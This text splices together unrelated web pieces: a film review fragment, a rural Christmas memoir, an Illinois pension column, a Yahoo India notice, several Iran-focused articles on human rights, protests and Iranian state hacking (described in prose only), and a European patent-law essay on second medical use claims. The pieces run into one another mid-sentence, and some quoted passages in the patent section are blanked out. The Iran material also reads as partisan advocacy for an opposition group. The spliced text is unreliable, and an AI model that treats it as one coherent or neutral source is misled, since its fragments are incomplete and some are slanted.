you shaking your head in disbelief. (When a dance scene broke out in a kitchen between Maya and her friends, I was assured by a nearby female film critic that this has never, ever happened in the history of womankind.)Reminis foul-mouthed character is nothing new for the actress who specializes in snark, so shes able to phone it in, while Milo Ventimiglia as Lopezs doofus love interest gives what is surely the worst screen performance of the year, sporting an unconvincing Bronx accent and an approach thats an embarrassment of cliches. Youll find yourself cringing whenever he appears. As for Lopez, theres no denying she has a strong screen presence, but without a firm hand to guide her, she resorts to obvious choices and delivers a lazy performance.The movies message of blue-collar empowerment is valid. But the silly way in which Act approaches the message doesnt do it justice. The result is a cinematic lump of coal. Chuck Koplinski This is Roy Frenchs annual Christmas memoir. It is near midnight in late December. I have just returned home from a country schoolhouse. It is a very old building with uneven floors and drafty windows. The doors do not close as tightly as they did 50 years ago when a teacher and children spent time in the building. It is hard to heat, but there is a country warmth about it that causes people to return. It sits back off the road. No other houses are near so there is silence and clearness to the air that makes you breathe it deeply. The stars were resplendent tonight, and their light on the old snow colored it a soft winter gray. Now in its second life, the building serves as a community center and a place for old friends of rural persuasion to meet and dance every week or so. Tonight was our Christmas dance, so named because its just a few days before the holiday. It was marked by a potluck dinner to enjoy, and the feeling of joy and comfort is still with me at this late hour.I was drawn to that place by the honesty of the music and the decency of the people, by a little nostalgia and a small measure of melancholy.Tonight as I came home over frozen country roads, I thought of how our lives intertwine with old friends and new friends, the coming and going, how we square-danced, hand over hand, a hand on a shoulder or an arm around a waist. In our closeness we all found a certain fellowship and comfort comfort akin to that of old familiar quilts.One time years ago, a scholar asked me, Why do people move?What do you mean? I asked, From house to house, from job to job? She repeated, What makes you move? and left me to ponder the question. It frustrated me. But now 20 years later, I have distilled the thought a thousand times. One word that most often comes to mind is emotion. Emotion makes us move. The emotion of melancholy moves me to find a comfort in others, to reach for a hand to dance with. Joy moves us toward one another. To applique a hand on hand, then turn about and stitch together a friendship. There is an emotion in the Christmas season that moves us all in the expression of peace and goodwill.My aunt quilted. She was moved to quilt by the war. While her beloved husband was halfway round the world, far from the house by the creek, she was moved by the emotion of loneliness. In the evening, after feeding the lambs, she cut and pieced and made patterns by the light of a kerosene lamp. She put those patterns together block by block with the corners always touching. She moved the needle nine stitches to the inch, quilting, quilting until emotion was satisfied and she slept.Square-dancing and old quilts have a lot in common. I imagine if one could see the dancers from above, there would be a pattern in the tracings of the feet as they step and turn, again and again a kaleidoscope of patterns of the floor boards. Hand over hand in a grand right and left, the Texas star, eight hands round, four couples spinning, a symmetry of repeated forms set to lively music. The color of shirts and skirts and boots and shoes within the borders of the room make the patterns form and reform like the patterns of our lives, with the corners always touching. I realized again that square dances and old quilts are closely related.I was home now. Before going in, I stood there in the winter night at the end of a very good evening with a feeling all my good gifts were in place. I had square-danced the evening away, and my aunts old quilt was waiting on the bed. These are my winter comforts, and I moved from one to the other.Roy French of Virginia, Illinois, 85, has contributed a Christmas memoir to Illinois Times every year for many years. He may be contacted at P.O. Box 133, Virginia, IL, 62691. The state constitutions of Illinois and Arizona have very similar language prohibiting reductions to pension benefits and welding pensions to contract law. But the two are very different states. In 2016, when Arizonas legislature approved a pension reform bill to limit first responders pension benefits and then-voters approved amending their constitution to match that legislation by a 70-30 margin, the Republican Party held the Arizona governors mansion and had supermajorities in both legislative chambers. The opposite will be true here starting in January. This year, the Arizona legislature passed a bill to limit pension benefit increases for corrections employees and elected officials. Arizonas threshold for voter approval of constitutional amendments is considerably lower than Illinois. In that state, a simple majority of those voting on the amendment suffices. But Illinois requires approval from either three-fifths of those voting on the amendment or a simple majority of all those voting in the election. The Yes votes in Arizona amounted to just 47 percent of all ballots cast in the election. That wouldnt have been enough to succeed in Illinois.Arizonas politicians brokered an agreement with unions before passing enabling legislation and sending the question to voters. Illinois unions, emerging victorious from a bitter four-year war with a doggedly anti-union Republican governor, are clearly in no mood for such talks.The Illinois AFL-CIO and the Chicago Federation of Labor issued a joint statement after Mayor Emanuel backed an Arizona-style reform which began: Too many politicians, including Mayor Rahm Emanuel himself, have wasted years pushing extreme, immoral and illegal schemes to slash pension benefits instead of working together to craft fair, sustainable and constitutional funding solutions.Gov. Rauner was asked earlier this year about amending the states constitution to delete our strict pension language, but even he said he had doubts about its legality and didnt believe Illinois voters would ever approve it.Back in 2012, a proposed constitutional amendment to require three-fifths votes in the General Assembly to increase pension benefits received 56 percent of the popular vote and therefore failed.The Arizona pension changes have yet to be challenged in court. So, even if you could somehow convince the Democratic supermajorities and a Democratic governor who ran on the slogan Pensions are a promise to flip on the unions and place the question on the ballot and then even if Illinois Democratic-leaning voters approved it, youd undoubtedly see an immediate legal challenge here.And despite all the recent hot talk, it does not appear that a pension payment doomsday is soon upon us, which could force reluctant Democrats to take drastic action.The General Assemblys Commission on Governmental Forecasting and Accountability released a report last week projecting that annual state pension payments will increase an average of $300 million a year over the next ten years. Thats a lot of money, but its still fiscally manageable.And in just a few months, Illinois will make its last billion-dollar annual installment payment on bonds sold by then-Gov. Pat Quinn to make two yearly pension contributions, giving Illinois some fiscal breathing room.The bond rating agencies might be a different story, however. If they threaten to push Illinois into junk bond status over the states huge unfunded pension liability, that might prod the Democrats into taking some action.And a deep recession combined with more rounds of large and unfavorable actuarial readjustments by the states pension funds could combine to make the states annual payments impossible.Pressure from local officials will also likely mount because lots of municipalities under-funded their public safety pension funds and are now in a world of hurt.Even so, while I could be wrong, I just dont see it happening yet. As of August 26th, 2021 Yahoo India will no longer be publishing content. Your Yahoo Account Mail and Search experiences will not be affected in any way and will operate as usual. We thank you for your support and readership. For more information on Yahoo India, please visit the FAQ | Maruti-Suzuki is the Indias largest car manufacturer. It holds over 50 percent of the market share and has managed to do so for many years now. To give you perspective how big they really are, the.. Last week, a number of Canadian lawmakers called for their government to impose sanctions under the Magnitsky Act on account of a sharp increase in human rights violations, mostly stemming from the regimes attempts to suppress public demonstrations that have remained prevalent since a mass uprising that began in December of last year. Also last week, the US Congress passed its 18th resolution condemning the Iranian regimes record of arbitrarily detaining and otherwise discriminating against members of the Bahai faith and other religious and ethnic minorities. This week, the Bahai World News Service praised a similar effort undertaken by the broader international community. It noted that on Monday, the General Assembly of the United Nations passed a resolution that demanded Iran release all religious practitioners imprisoned for their membership in or activities on behalf of a recognized or unrecognized minority religious group, including the remaining imprisoned member of the Bahai leadership. Between March and May of 2008, seven leaders of the Iranian Bahai community were arrested and sentenced to 20 years in prison on charges including insulting the sacred, propaganda against the state, and collaboration with foreign enemies. The sentences were subsequently reduced to 10 years on appeal, but the cases remained internationally visible as human rights advocates pushed for their release on the basis of the arbitrary and discriminatory nature of their arrests. Since September 2016, six of the seven individuals have been released sometime after the expiration of their sentences. But the prison term for the seventh, Afif Naeimi, has been extended despite a life-threatening health condition, which prompted the judiciarys own medical experts to report that he is too ill to remain incarcerated. The judiciarys disregard for such warnings is a well-known human rights issue in Iran, and a means by which regime authorities frequently dispense extrajudicial pressure or punishment to prisoners, especially political prisoners. As such, it is also a familiar object of both domestic and international activism. And activism on this particular topic is possibly in the midst of being bolstered by a high-profile case in which one prisoner died after a 60 day hunger strike, the effects of which were largely ignored by Tehran. As the Thomson Reuters Foundation noted on Sunday, that ignorance persisted even into the regimes confirmation of the death of Vahid Sayyadi Nasiri, a social media activist who initiated his hunger strike on October 13 in order to draw attention to inhuman prison conditions and the lack of due. Like many other defendants charged with national security crimes, Nasiri was denied access to legal counsel throughout the judicial process. Irans confirmation of Nasiris death came only after Western human rights groups obtained information on the matter from independent sources. And although it had been widely reported that Nasiri died as a result of the effects of his hunger strike, neither judiciary officials nor Iranian state media acknowledged this, opting instead to say only that he had died of liver disease. Furthermore, the Iranian Students News Agency asserted that Nasiri was a terrorist and had plotted a bombing, even though the sentence he was serving at the time of his death was based on the vague charge of insulting Islamic sanctities. The Thomson Reuters report on Nasiris case noted that in addition to denying human rights violations in this particular instance, Iranian authorities have a long track record of denying the very concept of human rights violations inside the Islamic Republic. Iran rejects criticism of its human rights record by international human rights bodies as politically motivated and based on a lack of understanding of Islamic laws, the report states. Indeed, Tehran even maintains its own so-called domestic human rights monitor, whose actual purpose is only to contradict foreign reporting on the issue. Irans intransigence on human rights and other issues was also reiterated on Monday by Foreign Minister Javad Zarif. The English-language propaganda network Press TV quoted him as saying that the Islamic Republic will not engage in negotiations with foreign entities such as the United States, unless those entities abandon all preconditions, whether they be related to Tehrans human rights violations, its support of terrorism, or its intrusive role in the affairs of regional neighbors. The White House has outlined a dozen changes to the regimes behavior that are expected in advance of any negotiations. And although these are primarily related to national security issues, the US Congress has taken a broader view while maintaining similar assertiveness. On Tuesday, Sunshine State News reported that US Senators Marco Rubio, Ted Cruz, and Mike Gallagher had jointly unveiled the Blocking Iranian Illicit Finance Act, which is meant to limit the Iranian regimes ability to, among other things, egregiously abuse human rights. But it is not only Western enemies like the US and Canada that recognize the seriousness and pervasiveness of Iranian human rights violations, as evidenced by the UN resolution, which passed with yes votes from 84 member states. That vote was embraced on Tuesday in a statement by the National Council of Resistance of Iran, the leading coalition of Iranian opposition groups promoting democracy in place of the theocratic dictatorship. The organizations leader, Maryam Rajavi, declared that the resolution leaves no doubt that this regime is the most brutal and aggressive violator of human rights in todays world, though she also lamented the fact that the resolution fails to address many aspects of the inhumane crimes, particularly those that took place earlier in the clerical regimes history but have since gone unpunished. Tuesdays statement concluded by urging the international community to initiate an independent inquiry into the massacre of political prisoners that took place in the summer of 1988 and reported resulted in some 30,000 deaths. That same day, an editorial in UPI voiced the same call. In it, Alejo Vidal-Quadras, the founder of the Brussels-based Committee in Search of Justice, called attention to a recent, extensive Amnesty International report on the massacre and concluded by saying that such crimes against humanity cannot be under any circumstances left unpunished. The NCRI and other advocates for an inquiry into the 1988 massacre maintain that the absence of punishment for such incidents reinforces a sense of impunity among Iranian leaders, some of whom have publicly boasted of their participation in that massacre. This concern is arguably underscored by the ongoing crackdown that the regime has been using as part of its effort to manage domestic unrest. On Monday, the Washington Times reported that the rate of executions in the Islamic Republic was surging, in large part because of the role of newly-formed corruption courts that have overseen high-profile executions in a project of scapegoating supposed financial criminals for the countrys worsening economic crisis. The article notes that leading right experts recognize the corruption courts as little more than kangaroo courts that violate international law. The report concludes by referencing multiple human rights activists who offer their own contributions to the outpouring of voices calling for serious international action to confront Tehrans human rights violations. During raids on workers homes on Sunday night, police detained at least 30 men from the National Steel Industrial Group in Ahvaz who had been involved in a series of rallies and protest meetings over the past few weeks. Irans Free Labor Union, a workers rights group banned by the Iranian Regime, has described the arrests as a mark of infamy. The wrote on their social media accounts: Instead of considering the demands of the oppressed and desperate workers, the entire government apparatus raided their homes in the middle of the night, terrorized their wives and children, and arrested the breadwinners. All those who 40 years ago took the destiny of our people in their own hands by claiming to be on the side of the downtrodden now shamelessly raid the homes of workers and put them in chains. These arrests also gained the attention of the Iranian Parliament, with Alireza Mahjoub, head of Parliaments labour faction, calling on the mullahs to intervene to free the arrested workers. He said: This is a violation of the constitution. Over 4,000 workers at the National Steel Industrial Group stopped work on November 9 to demand the payment of their delayed wages and benefits, better working conditions, and, following the arrests of their comrades, the immediate and unconditional release of workers rights activists. Other protests The steelworkers strike in Ahvaz began shortly after another strike by workers at the Haft Tapeh sugarcane factory in nearby Shush. Protesters are demanding the payment of wage arrears and accusing the new private owners of criminal activity. Several key sectors in Iran have been hit by strikes over working conditions in 2018, including education, mines, and transport. Notably, these strikes have mainly been occurring outside of Tehran, indicating that it not just urbanites that want change in Iran, but also those widely considered part of the Regimes base. In November, judiciary chief Ayatollah Sadegh Larijani gave an ominous threat to striking workers, saying that they should be careful not to allow their demands to become an instrument for the enemy. This is thought to be a reference to the Iranian Resistance, who have been responsible for aiding in the organisation of these protests and making them more effective against the Iranian Regime. Of course, Larijani fails to accept that the workers strike could be ended if only the Regime would meet their legitimate demands. As the Regime will not do this, the only option is regime change. This is perhaps best exemplified by the United Nations Security Council meeting on December 12, where many countries, including eight European nations, protested Iranian ballistic missile programme. The other countries were especially concerned about Irans ballistic missiles test at the beginning of December and asked Iran to pay attention to the concerns raised and work to alleviate them. This came shortly after UN Secretary-General Antonio Guterres presented the discovery of Iranian-made rocket launchers in Yemen to the Security Council in his latest report. However, its not just the Iranian ballistic missiles programme that is proving a source of contention for the international community. Irans state-sponsored terrorism is also causing concern for countries in Europe and North America. Over the course of 2018 alone, there have been at least four instances of thwarted Iranian terror or assassination plots in the West; normally levelled against the Iranian Resistance. This has gained the Regime the condemnation of Iranians around the world, US Secretary of State Mike Pompeo, UK foreign minister Jeremy Hunt, and the French intelligence agency, amongst others. Even EU foreign policy chief Federica Mogherini has said that Europes support for the nuclear deal will not cause them to ignore other issues, highlighting that Germany, France, United Kingdom, and Italy will continue to negotiate with Iran about ballistic missiles and regional issues. To make matters worse for the mullahs, the Iranian Regime is also losing its strategic allies in the Middle East. In Iraq, for instance, a number of political parties have distanced themselves from the Iranian Regime and have begun criticising Iranian interference in the Iraqi political realm. Even former Iraqi Prime Minister Heydar Al-Ebadi, a close ally of Iran who had the Regimes backing during his rule, disavowed the mullahs on December 9. In fact, even during his last days in power, Al-Ebadi announced that Iraqi would comply with US sanctions on Iran, something that caused outrage amongst the mullahs and caused the cancellation of his visit to Iran. While Saudi Arabia has criticised Irans regional meddling twice in recent weeks, with Saudi King Salman bin Abdulaziz condemning Iranian terrorism in a speech on November 19 and calling for a united front against the Iranian regime by members of the Gulf Cooperation Council at their annual summit on December 10. In his first speech, he said: The Iranian regime has always meddled in other countries internal affairs, has supported terrorism, and has created havoc in many countries in the region and caused devastation. The mullahs are trying to put on a brave face, but really they know that this is the end for them. After 40 years of corruption, the Iranian people are ready to overthrow the mullahs and they have global support. The main thrust of Maryam Rajavis focused on why the international should work with the Iranian Resistance and support the ongoing protest movement in Iran. For one thing, Maryam Rajavi noted, the mullahs in Iran are already terrified of the popular protests and especially the Iranian Resistances role in organising them. Indeed, Supreme Leader Ali Khamenei basically admitted last week that the Iranian people and their organised democratic resistance pose a real credible threat to the future of the Iranian Regime. Maryam Rajavi said: Why is Khamenei so terrified? Because not a single day went by last year without protests against the regime, and without cries for freedom. But the mullahs really have every right to be terrified, Maryam Rajavi said, because the only way to solve the many problems caused by the Regime, including the export of terrorism, war and crises to other countries and human rights abuses at home and abroad, is through regime change. And the overthrow of the mullahs by the Iranian people is imminent, according to Maryam Rajavi. Maryam Rajavi said: As I have repeatedly declared, the regimes overthrow, democratic change, and the establishment of a free Iran, a task already undertaken by the Iranian people and Resistance. They are impatient in fulfilling this duty and will most definitely make it come true. Following the overthrow, Maryam Rajavi and the Iranian Resistance will restore democratic rule to Iran, establishing a constitution and elections within six months in order to hand power back to the people. Maryam Rajavi told the supporters of the Iranian Resistance inside Iran that their tirelessness, hopefulness, livelihood, and firm resolve to bring power to the people of Iran was inspiring and that their sacrifices for the freedom on the Iranian people would bring about a beautiful and glorious future for Iran and its people. Maryam Rajavi also took the time to salute the protesters in Iran, who rebel against the Regime despite the very real risks, and keep the flames of uprisings alight. Maryam Rajavi said: The demonstrations of Haft Tappeh Sugarcane workers and the start of the second month of strikes and protests by the brave steelworkers of Ahvaz have incited more resistance and protests all across the country. Those who addressed the mullahs, calling them monkeys who are sitting on the Prophets pulpit. Steelworkers wore shrouds and took to the street, chanting, Down with the oppressor, hail to the worker, and we will never surrender! We also hail the honourable truck drivers and truck owners who tirelessly continue their strikes and recently held the fourth round of their nationwide protests. And hail to the poor but steadfast farmers of Isfahan who rose up again. We hail the conscious students of Iran who staged sit-ins and protests on the Student Day on December 7th. Maryam Rajavi explained that Iran is more prepared for change now than at any other point in the Regimes history. But a number of reports on Wednesday indicated that this statement represented a departure from the perspectives expressed by Trumps leading national security officials. As ISILs hold on territory was gradually dislodged a task that is by all accounts not yet complete the administration shifted its attention toward containing Iranian influence over Syria and Iraq. In September, National Security Advisor John Bolton said of the American presence in Syria, Were not going to leave as long as Iranian troops are outside Iranian borders, and that includes Iranian proxies and militias. To a greater or lesser extent, this sentiment has been echoed by Secretary of State Mike Pompeo, Defense Secretary Jim Mattis, and President Trump himself. Accordingly, Slate reported on Wednesday that Trumps early morning semi-announcement blindsided everyone. An article in Politico agreed that the tweet and surrounding speculation about withdrawal represented a break from the entirety of Trumps foreign policy team and a betrayal of Iran hawks within the political establishment of the US and its Middle Eastern allies. This factions anxiety over the apparently new direction for US policy was expressed in an editorial published by the Conservative Review, which declared that Iran will be the big winner of US Syria withdrawal. More specifically, the article voiced concerns over the prospect for Iran completing its land and air bridge connecting Tehran to Beirut. This has long been identified as a major priority of Irans regional strategy, and part of the clerical regimes pursuit of hegemonic influence over the Muslim world as a whole. President Trump has variously signaled his personal interest in preventing this influence and creating a buffer between the Islamic Republic and the eastern shores of the Mediterranean Sea. But on Wednesday, the Guardian proclaimed that an evacuation of the US base at Tanf near the border with Iraq would signal a decision that maintaining that buffer was no longer a national security priority, thereby opening the way for Iranian forces and their local proxies to link up with Damascus and areas farther to the west. Politico underscored the role that militant proxies might play in this. Its reporting noted that such groups, with Hezbollah chief among them, have been given more room to maneuver, build bases and keep weapons as a result of Irans presence. It stands to reason that if this presence is left relatively unchecked in absence of competition from US forces, all of these effects could be amplified. The impact on Hezbollah specifically could be very alarming for US national security interests and US allies, as per a report published on Wednesday by France 24. That report emphasized that the threat posed by Hezbollah is now greater than ever, thanks to rising levels of financial and logistical support from Tehran, along with combat experience acquired by the Shiite militant group in Syria. France 24 warns of the danger of another war between Hezbollah and Israel, following the formers dramatic growth in the years since the previous war in 2006. In terms of combat experience, that growth could further accelerate if Hezbollah a terrorist group according to the US State Department encounters little future resistance from Western adversaries as Iran continues to pursue hegemonic goals in Syria, Iraq, and other parts of the region. And if the US withdrawal from Syria happens to represent a more general shift away from confronting Irans regional buildup, it could provide Hezbollah with greater freedom to develop its missile arsenals as well. According to France 24, the Lebanese terrorist proxy has already expanded its missile stockpiles from 13,000 in 2006 to 120,000 in 2018. It is unclear to what extent this buildup is attributable to Tehrans activities, but it coincides with large-scale ballistic missile development and testing by the Islamic Republic. Furthermore, advancement in missile technology by various terrorist groups including Hezbollah and Hamas has been widely attributed to Iranian influence. This has been given significant attention by the Trump administration, which hosted exhibitions of recovered military components both last year and this year, to demonstrate the extent of Iranian smuggling to regional proxies, especially the Houthi rebels in Yemen. In light of those exhibitions, it seems comparatively unlikely that the Trump administration will change course on the topic of missiles in the same way that it has apparently changed course regarding the long-term presence of US troops as a bulwark against Iran. But then again, an editorial published by Newsweek on Wednesday expressed concern that the White House and Western policymakers as a whole have been insufficiently attentive to the Iranian missile threat, which was strongly underscored by a recent, provocative test of a nuclear-capable weapon. After arguing that this test demonstrates the ineffectiveness of newly imposed economic sanctions at constraining Irans missile activities, the articles author, General Charles Ward, argues that the United States needs to take more impactful action to protect its own interests and assets in the region, shield its allies from Iranian missiles, and send a strong signal to Tehran that it will not tolerate further missile testing. Many critics of the Islamic Republic, including many of those who have worked closely with President Trump over the past two years, would no doubt echo this sentiment and would add that impactful action should include a renewed commitment to preventing Iran from expanding the influence of its paramilitary and its proxies into Syria and across the region. But the recent outpouring of reporting follows a flurry of new activity, which has targeted a number of entities in the Gulf and in Western countries, using more sophisticated tools such as a modified version of the Shamoon computer virus, previously used in 2012 for devastating attacks on the state-owned oil company Saudi Aramco and Qatars RasGas. The Wired article characterizes the latest attacks as part of a program of retaliation against the United States in the wake of the re-imposition of economic sanctions following President Donald Trumps withdrawal from the 2015 Iran nuclear deal in May. The article quotes one cybersecurity expert, Crowdstrike Vice President Adam Meyers, as saying Iran has targeted the West before and will continue to do so. Meyers also observed that the latest emergence of Shamoon is actually the third, as its operations had previously continued in 2016 and 2017 before taking on their new form involving broader customizability and the ability to destroy targeted files or entire systems following the theft of information. According to Wired, these and other operations can be expected to continue and even escalate as the US continues to enforce sanctions and otherwise pursue assertive policies toward the Islamic Republic. The Iranian hackers motivations are evident in the fact that at least a dozen Treasury officials have been targeted in recent months, alongside other persons with specialized knowledge of the US sanctions regime. But American entities are by no means alone on the list of individuals and groups whom Iranian hackers have targeted in order to steal information, gain access to their accounts, or generally wreak havoc. In another report published on Tuesday, Gulf News highlighted cyberattacks on oil and gas companies headquartered both in Europe and among Irans Arab adversaries, including but not limited to Saudi Arabia. Additionally, the Associated Press reported upon the growing phenomenon nearly a week earlier and noted that the latest hacking efforts had been directed against US officials outside the Treasury Department, against American defense companies, various foreign policy think tanks, high-profile commentators on the Iran nuclear deal, and perhaps most alarmingly, Arab atomic energy experts. The AP, Gulf News, and Wired all indicate that there is little doubt about these operations origins in the Iranian regime. Although Tehran does have a long history of hiring independent contractors to carry out the technical work of hacking, there has been a longstanding trend toward greater central organization of that work. This trend points to clear overlap between the targets of Iran-based hackers and targets that are relevant to the Iranian regimes interests. This trend clearly remained on display for cybersecurity experts following the latest revelations about Shamoon and related operations. Dick OBrien, threat researcher at Symantec, said specifically of Shamoon that it has hallmarks of state-sponsored attacks, according to Gulf News. Meanwhile, the AP indicates that Allison Wikoff of Secureworks drew upon the latest Certfa report to conclude that its fairly clear cut that the past operations of relevant Iranian hackers were government-backed. In any event, Gulf News quoted yet another cybersecurity expert, FireEyes Alister Shepherd, as saying, The sophistication and volume of attacks from Iran have been consistently increasing. The AP report noticeably agreed with this assessment, insofar as it identified instances of hackers reacting very quickly when a certain individuals work became relevant to Iranian interests. In other cases, people were targeted in spite of their relevant activities being low-profile or not publicly disclosed. Shepherd went on to assert that the trend toward more frequent and more advanced hacking operations can be expected to continue through the year 2019, as political tensions between Iran and the US continue to escalate, with implications for allies on each side. And yet another report published on Tuesday, this one by Stratfor, expanded upon this conclusion with reference to Irans overall tendency toward asymmetrical warfare. According to that report, the rising tide of state-sponsored hacking is only one aspect of that larger strategy, but the high-profile trend is indicative of the general behavior that can be expected from the Islamic Republic in the year ahead. Irans strategy for handling conflict in cyberspace mirrors its game plan for physical clashes, the article explains, noting that the regime will strive to compensate for an imbalance of power with its foreign adversaries by relying on tactics like terrorism and the support of militant proxies in the broader Middle East. Critics of the Islamic Republic are quick to point out that the regime has already manifested greater reliance on these tactics over the course of 2018, and earlier in some cases. Tehran has directed at least four terrorist plots against Iranian dissident targets on Western soil during the past year. In March, Iranian operatives were arrested while planning an attack on the compound housing more than 2,000 members of the Peoples Mojahedin Organization of Iran, and in June two other operatives attempted to carry out a bombing of the international rally organized by the PMOIs parent coalition, the National Council of Resistance of Iran. Later in the summer, one Iranian citizen and one American citizen of Iranian extraction were indicted in US federal court for spying on behalf of the Iranian Ministry of Intelligence and apparently setting the stage for would-be attacks on PMOI-affiliates on American territory as well. Finally, in October, Danish authorities arrested a would-be assassin targeting Iranian Arab opposition figures, and the Danish government proceeded to put pressure on the European Union to confront persistent asymmetrical threats stemming from the Islamic Republic. This and other critics of the predominant Western response have said much the same thing about Iranian terrorism as Stratfor said about Iranian cyberattacks at the conclusion of its report: Iran has rapidly improved its capabilities over the past year and looks to continue that trend in 2019. As it responds to greater U.S. sanctions and other efforts to weaken its government, it will be important not to underestimate those capabilities. The multiple recent reports about Iranian hacking underscore the breadth of assets and allies that stand to be affected if belligerent Iranian activities are allowed to go unchecked. And to this observation it might be added that Irans domestic population also stands to suffer as conflict escalates between the regime and its people. The outpouring of anti-government activism since the end of 2017 has been variously cited as a contributing factor in Tehrans terrorist plots and other attacks on perceived foreign sources of support for the PMOI and other protest organizers. Meanwhile, escalating domestic restrictions on cyberspace have accompanied the outward-directed hacking activities. Indeed, the Associated Press noted that the long list of recent targets of Iranian hacking include a number of Iranian citizens, including media workers, an agronomist and a senior employee of the countrys Department of Environment. This latter example clearly connects cyberattacks to the ongoing physical assaults on activists and other perceived threats to the Islamic Republic, as about a dozen experts on the environment were arrested in early 2018 as part of the government crackdown. As Tehrans cyberattacks on foreign targets grow both more frequent and more sophisticated, a similar trend can be expected in the domestic arena, especially if the international community fails to react to ongoing calls for action to help safeguard free speech and freedom of communication in the Islamic Republic. The Center for Human Rights in Iran reiterated one such call to action on Monday after praising the company behind the popular instant messaging app Telegram for warning Iranian users about the Iranian regimes efforts to exploit its popularity. Telegram was temporarily blocked in the midst of the mass uprising at the end of 2017 and beginning of 2018, leading to concerted efforts by the regime to make that block permanent. Among those efforts was the introduction of domestically-produced alternatives that would allow users to communicate with the actual Telegram app, but would also censor content that was not government-approved, as well as leaving users open to monitoring by Irans cyber police. According to CHRI, some Iranian officials have specifically identified these alternatives, namely Talaeii and Hotgram, as having been developed by Iranian security forces with the specific intention of making use of their deliberate vulnerabilities. With this in mind, the report argues that Telegram has not yet gone far enough in defending the apps many Iranian users. It concludes by quoting CHRI internet security researcher Amir Rashidi as saying, Telegram should follow through on its warning message by discontinuing these apps access to Telegram servers, he added. Doing so will send a message to the Iranian government that even big tech companies will not engage in business as usual while the state violates the rights of its citizens. This, of course, represents only a fraction of the pressure faced by businesses and national governments as awareness grows of Iranian cyber threats both inside the country and throughout the world. Rising levels of that pressure are also coming from inside the Islamic Republic itself, as ongoing anti-government protests are accompanied by a public push for fewer restrictions on online activity. This push is arguably fueled in part by Tehrans seemingly contradictory effort to globally extend its own influence over cyberspace. According to another CHRI report, Iranian Oil Minister Bijan Zaganeh recently joined Twitter, which has been banned in Iran since the 2009 Green Movement. This announcement has spurred Iranian from across the political spectrum to come forward with renewed condemnations of the regimes hypocrisy and malign behavior with regard to cyberspace. History of the second medical use claim What is a "substance or composition"? Nanobot - substance or device? Physical versus Chemical Tissue Scaffold particles used for targeted therapeutic heating of tumors. Given that heating is considered a "physical effect", these particles may not be considered substances or composition for use in medical treatment. However, the discovery, development and regulatory approval required for such particles is equivalent to that of drugs. Consider also the case of organic and synthetic scaffolds used in tissue generation. These scaffolds may be implanted directly into the body, and interact both physically and chemically with regenerating cells. It can be unclear whether it is the shape of the scaffold or its chemical composition that is responsible for a particular therapeutic effect. Is such a scaffold a "substance or composition", or a "device"? Again, the R&D and regulatory requirements for medical products based on tissue scaffolds can be considerable. A note on Supplementary Protection Certificates Second medical use claims are designed to protect substances or compositions for use in new medical treatments. Numerous decisions of the Technical Boards of Appeal of the EPO (TBA) have confirmed that second medical use claims cannot be used to protect medical devices. However, as is so often the case in patent law, scientific advancements are beginning to blur the technical difference on which the legal distinction between medical devices and substances is based. Given the extensive R&D and clinical trials behind the use of medical devices (not just in the manufacture of the device itself), is the exclusion of medical devices from second medical use and/or SPC protection desirable? Is this a further reason to rethink the form and scope of second medical use claims?In any consideration of second medical use claims, it is always useful to recall their origin and purpose.The exclusion of medical methods from patentablity was included in the first draft of the EPC ( EPC 1973, Article 52(4) ). Such methods were considered to lack industrial application, so as not to hamper thefreedom of medical or veterinary practitioners G 01/07 ).The original EPC 1973 provision also stated that the method of treatment exclusion should not "". The wording ofwas initially problematic from a claim drafting point of view. This was because a claim directed to a known product is not normally considered novel. Such a claim is judged to lack technical contribution ( G 02/88 ). Protection for a known substance or composition for use in a new treatment were thus sought using a "use" claim and not a product for use claim, the so-called Swiss-style claim form, i.e. "use of a substance in the manufacture of a medicament for the treatment of disease Y" ( G 5/83 ). The word "manufacture" in the Swiss-style claim was to provide the claim with industrial application and thus overcome the EPC 1973, Article 52(4) exclusion of methods of treatment.However, the "manufacture step" of Swiss-style claims was considered an unnecessary legal fiction ( G 02/08 ). EPC 2000 was thus drafted to allow second medical use claims for substances and compositions. Particularly, Articles 54(4) and 54(5) EPC specify that a known substance or composition for a new medicinal use is considered novel. This leads to the second medical use claim form: "Drug X for use in a method of treatment". A known substance or composition for a known medical use is accepted as novel in view of the significant R&D required to develop a new therapeutic use, even for a known drug. As an extra hurdle to patenting second medical uses, it is necessary for the applicant for the patent to plausibly demonstrate the claimed new use.Therefore, in Europe, methods of treatment are not considered patentable because patents for methods of treatment would restrict the freedom of medical practitioners. Furthermore, a known (non-medicinal) product for a new use is not considered novel, because disclosure of the use does not require the inventor to disclose any technical contribution. However, in view of the need not to unduly restrict the pharmaceutical industry, known drugs for a new use are patentable, provided that the new use is plausible.Interestingly, the Enlarged Board of Appeal recognized in G 02/08 that the rights conferred on the patentee by second medical use claims "" (e.g. as providing an exception to infringement for medical practitioners performing treatment).The phrase "substance or composition" in Articles 54(4) and 54(5) EPC traces its origin back to, which stated that the exclusion of medical methods should not "". A medical device if new and non-obvious, can be protected by a product claim directed to the technical features of the device itself."Substance or composition" is not defined in the EPC. The Enlarged Board of Appeal decision that established the Swiss-style claim form also did not explicitly define the phrase ( G 5/83 ). In T 2003/08 (Edwards Lifesciences), the TBA never-the-less took the view that it was evident from the "whole reasoning" of G 5/83 that "substance or composition" referred to anin medical use. G 5/83 makes reference, for example, to "the active substance or composition" and "active material"). The active agent is the ingredient that provides the therapeutic effect in a medicament, as opposed to an excipient or the medicament's packaging. In T 2003/08 the TBA concluded that, in order to determine whether or not a "substance or composition" is used in a treatment, the following must be established:The latest published TBA decision to address the meaning of "substance or composition" wasThe case at issue was an appeal of a decision from the Opposition Division to revoke EP 1536746 . The granted patent related to a filler material that is injected prior to radiation therapy. The patent describes the use of the filler material to reduce the side effects of radiotherapy. Particularly, the filler material can be injected into the space between two tissues, so as to reduce the amount of radiation that passes from an irradiated target tissue to secondary tissues.Claim 1 of the patent was drafted in second medical use form:The Proprietor argued that the filler material had the properties of a substance or composition. Given that the use of the filler material was new, it was argued, the claim should therefore be considered novel under Article 54(5).Applying the principle proposed in T 2003/08 (Edwards Lifesciences), the TBA asked (a) how the therapeutic effect of the filler material was achieved ("the principle mode of action"), and (b) whether the effect was achieved by a chemical entity or composition of chemical entities. The TBA determined that the therapeutic effect was achieved by "physical displacement of the sensitive tissue". Particularly, the specification showed that the filler was effective by increasing the distance and occupying a volume, i.e. "f the accumulated mass andThe spacing effects were present for any filler material, which further underlined that the effect wasThe TBA thus concluded that the filler was a device and not a substance or composition.The proprietor had argued that the filler material, aside from providing the "filling" function, was also biocompatible, biodegradable and injectable. All of these properties, it was argued, contributed to the therapeutic 